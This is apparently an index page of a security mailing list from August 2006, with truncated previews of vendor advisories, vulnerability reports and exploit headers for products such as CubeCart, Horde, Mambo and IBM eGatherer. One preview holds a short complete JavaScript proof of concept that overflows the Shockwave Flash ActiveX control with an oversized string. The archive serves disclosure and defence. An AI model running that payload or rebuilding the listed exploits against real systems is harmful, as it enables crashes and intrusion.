This _is_ a vulnerability.

Even though the common convention is never to include 'cgi-bin' within the document-root, still, many companies put 'cgi-bin' inside the document-root assuming it to be a safe practice.

No matter what the common convention is; the fact is, if the cgi-bin directory i

[ more ]  [ reply ]

------------------------------------------------------------------------
--------

CubeCart <= 3.0.11 SQL injection & cross site scripting

software:

site: http://www.cubecart.com/site/home/

description: "CubeCart is an eCommerce script written with PHP & MySQL. With

CubeCart you can setup a power

[ more ]  [ reply ]

Registration for the Security OPUS Infosec conference in San Francisco is
now open.

http://www.SecurityOPUS.com

We have a new venue this year; The W hotel!
http://www.starwoodhotels.com/whotels/index.html Discounted rooms are
available, but limited. Ask for the Security OPUS rate when booking.

R

[ more ]  [ reply ]

===========================================================
Ubuntu Security Notice USN-336-1 August 16, 2006
binutils vulnerability
http://bugs.gentoo.org/show_bug.cgi?id=99464
===========================================================

A security issue affects the following Ubuntu rele

[ more ]  [ reply ]

IBM eGatherer ActiveX Code Execution Vulnerability

Release Date:
August 16, 2006

Date Reported:
July 3, 2006

Patch Development Time (in days):
44

Severity:
High (Remote Code Execution)

Vendor:
IBM / Lenovo

Systems Affected:
Windows NT 4.0 (All versions)
Windows 2000 (All versions)
Windows XP (

[ more ]  [ reply ]

===========================================================
Ubuntu Security Notice USN-337-1 August 16, 2006
imagemagick vulnerability
CVE-2006-4144
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 5.04
Ubuntu 5.

[ more ]  [ reply ]

#=================================================================

#powergap <= (s0x.php) Remote File Inclusion Exploit

#================================================================

# |

#Critical Level : Dangerous

[ more ]  [ reply ]

#!/usr/bin/perl

########################################################################
###################

# Aria-Security.net Advisory #

# Discovered by: Dr.t3rr0r1st #

[ more ]  [ reply ]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

SUPPORT COMMUNICATION - SECURITY BULLETIN

Document ID: c00746980
Version: 1

HPSBUX02139 SSRT5981 rev.1 - HP-UX Running the LP Subsystem, remote Denial of Service (DoS)

NOTICE: The information in this Security Bulletin should be acted upon as soon as

[ more ]  [ reply ]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

_______________________________________________________________________

Mandriva Linux Security Advisory MDKSA-2006:143
http://www.mandriva.com/security/
____________________________________________________________________

[ more ]  [ reply ]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

Symantec Security Advisory

SYM06-015

16 August 2006

Symantec NetBackup PureDisk: Non-Privileged User Authentication Bypass
Elevation of Privilege

Revision History
None

Severity
Medium (highly dependent on network configuration)

Remote Access

[ more ]  [ reply ]

Sending arbitrary HTTP requests with Flash 7/8 (+IE 6.0)

Amit Klein, August 2006

The trick
=========

In [1], I showed how to forge parts of HTTP requests containing
CRs and LFs using Flash. In that write-up, the data was part of the
HTTP body section. However, combining the Content

[ more ]  [ reply ]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

SUPPORT COMMUNICATION - SECURITY BULLETIN

Document ID: c00657001
Version: 2

HPSBUX02115 SSRT061077 rev.2 - HP-UX running Support Tools Manager (xstm, cstm, stm)
Local Denial of Service (DoS)

NOTICE: The information in this Security Bulletin should b

[ more ]  [ reply ]

<!-- Credits : MarjinZ -->

<script>

var a = new ActiveXObject('ShockwaveFlash.ShockwaveFlash.9');

var c = 'ftp://';

var b = 'A';

while (b.length <= 51512*512) b+=b;

a.AllowScriptAccess = c+b;

</script>

[ more ]  [ reply ]

!!!!!!!!!WWW.SiBERSAVASCiLAR.COM!!!!!!!!!

------------------------------------------------------------------------
--------

Title : Reporter Mambo Component Remote File Include Vulnerabilities

------------------------------------------------------------------------
--------

#Author: Crackers

[ more ]  [ reply ]

Author: Bill Littlejohn

http://wklpc.blogspot.com/2006/08/easy-ms-terminal-server-desktop-hack.h
tml

There is a vulnerability in Microsoft Terminal Server when an application is specified for the user instead of a full Windows Desktop. It is possible to easily cause an error in explorer.exe and t

[ more ]  [ reply ]

Horde Framework and Horde IMP search.php cross site scripting

scip AG Vulnerability ID 2457 (08/16/2006)
http://www.scip.ch/cgi-bin/smss/showadvf.pl?id=2457

I. INTRODUCTION

Horde is an open-source web application framework based on PHP. It
offers popular applications, such as the Horde IMP mail c

[ more ]  [ reply ]

Horde Framework and Horde IMP /index.php cross site referencing

scip AG Vulnerability ID 2456 (08/16/2006)
http://www.scip.ch/cgi-bin/smss/showadvf.pl?id=2456

I. INTRODUCTION

Horde is an open-source web application framework based on PHP. It
offers popular applications, such as the Horde IMP mail

[ more ]  [ reply ]

===========================================================
Ubuntu Security Notice USN-335-1 August 16, 2006
heartbeat vulnerability
CVE-2006-3121
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 5.04
Ubuntu 5.10

[ more ]  [ reply ]

!!!!!!!!!WWW.SiBERSAVASCiLAR.COM!!!!!!!!!

------------------------------------------------------------------------
--------

Title : Mambo com_lm component (archive.php) Remote File Include Vulnerabilities

------------------------------------------------------------------------
--------

#Author

[ more ]  [ reply ]

Simply delete the examples folder - It's only there as examples. TWF 1.5.0.1 does protect this folder too!

[ more ]  [ reply ]

Advisory ID:
XSec-06-05

Advisory Name:
VMware 5.5.1 for Windows arbitrary partition table delete issue.

Release Date:
08/16/2006

Tested on:
VMware 5.5.1 build-19175 on Windows Server 2000/2003

Affected version:
VMware 5.5.1

Author:
nop <nop#xsec.org>
http://www.xsec.org

Overview:
On running wi

[ more ]  [ reply ]

===========================================================
Ubuntu Security Notice USN-334-1 August 16, 2006
krb5 vulnerabilities
CVE-2006-3083, CVE-2006-3084
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 5.04

[ more ]  [ reply ]

!!!!!!!!!WWW.SiBERSAVASCiLAR.COM!!!!!!!!!

------------------------------------------------------------------------
--------

Title : Lizge V.20 Web Portal File Include Vulnerability

------------------------------------------------------------------------
--------

#Author: Crackers_Child

#c

[ more ]  [ reply ]

#!/usr/bin/perl

########################################################################
###################

# Aria-Security.net Advisory #

# Discovered by: OUTLAW #

#

[ more ]  [ reply ]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

SUPPORT COMMUNICATION - SECURITY BULLETIN

Document ID: c00749123

Version: 1

HPSBUX02141 SSRT51153 rev.1 - HP-UX in Trusted mode, Local Denial of Service (DoS)

NOTICE: The information in this Security Bulletin should be acted upon as soon as possible

[ more ]  [ reply ]